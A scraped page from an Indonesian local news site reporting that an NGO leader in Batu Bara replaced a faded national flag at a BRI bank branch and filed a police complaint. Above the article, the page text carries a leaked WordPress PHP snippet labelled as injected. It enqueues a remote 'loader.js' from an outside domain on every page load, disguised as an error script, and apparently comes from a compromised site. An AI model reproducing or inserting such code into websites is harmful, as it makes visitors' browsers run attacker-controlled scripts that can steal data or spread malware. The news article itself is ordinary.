// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Bendera Kusam Berkibar di BRI Unit Kebun Kopi, Ketua KCBI Batu Bara Ganti dengan Bendera Baru – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Sumatera Utara

Bendera Kusam Berkibar di BRI Unit Kebun Kopi, Ketua KCBI Batu Bara Ganti dengan Bendera Baru

46
×

Bendera Kusam Berkibar di BRI Unit Kebun Kopi, Ketua KCBI Batu Bara Ganti dengan Bendera Baru

Sebarkan artikel ini
Bendera Kusam Berkibar di BRI Unit Kebun Kopi, Ketua KCBI Batu Bara Ganti dengan Bendera Baru

Batu Bara, Fakta Terkini – Di tengah semangat menjelang HUT ke-80 Kemerdekaan Republik Indonesia, pemandangan yang mencoreng kehormatan lambang negara terjadi di halaman Bank BRI Unit Kebun Kopi, Kecamatan Sei Suka, Kabupaten Batu Bara. Sebuah bendera merah putih dalam kondisi kusam, kumal, dan tidak layak pakai tampak masih dikibarkan di depan kantor bank tersebut.

Kondisi itu disoroti langsung oleh Ketua LSM Kemilau Cahaya Bangsa Indonesia (KCBI) Kabupaten Batu Bara, Agus Sitohang, yang saat itu melintas dan melihat langsung kondisi bendera.

Example 300x600

“Memang bendera ini sudah tidak layak lagi karena telah kusam,” ujar Romadon Syahputra Purba, petugas keamanan BRI Unit Kebun Kopi, saat dikonfirmasi pada Selasa (5/8/2025).

Romadon mengakui telah melaporkan hal tersebut kepada Manager BRI Unit Kebun Kopi, Arif Nasution, namun hingga hari itu belum ada tindakan nyata. Ia juga menyebut bahwa bendera dalam kondisi tidak layak itu terakhir kali dipasang oleh petugas keamanan yang bertugas malam hari.

Melihat sikap abai terhadap simbol negara itu, Agus Sitohang langsung meminta agar bendera diturunkan. Ia kemudian menyerahkan bendera merah putih yang baru untuk dikibarkan sebagai bentuk penghormatan dan kepedulian terhadap lambang negara.

“Ini bukan sekadar kain dua warna. Ini adalah simbol kehormatan dan perjuangan bangsa. Mengibarkan bendera dalam kondisi rusak atau kusam adalah bentuk pelecehan terhadap lambang negara,” tegas Agus.

Agus menegaskan bahwa tindakan tersebut melanggar Pasal 67 dan Pasal 24 huruf c Undang-Undang Nomor 24 Tahun 2009 tentang Bendera, Bahasa, dan Lambang Negara serta Lagu Kebangsaan.

“Setiap orang dilarang mengibarkan bendera negara yang rusak, luntur, robek, kusut, atau kusam. Pelanggaran terhadap aturan ini dapat dikenai sanksi pidana penjara paling lama 1 tahun atau denda maksimal Rp100 juta,” tambahnya.

Atas kejadian ini, Agus Sitohang menyatakan bahwa pihaknya telah melayangkan Surat Aduan Masyarakat (Dumas) kepada Kapolres Batu Bara, Cq. Kasat Reskrim, agar tindakan pengibaran bendera yang tidak layak tersebut dapat diproses secara hukum sesuai peraturan perundang-undangan yang berlaku.

“Kami ingin kejadian ini menjadi peringatan keras kepada seluruh instansi, agar tidak abai dalam menjaga kehormatan simbol negara, terutama di bulan kemerdekaan,” pungkas Agus.

(Mangatur Sitohang)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *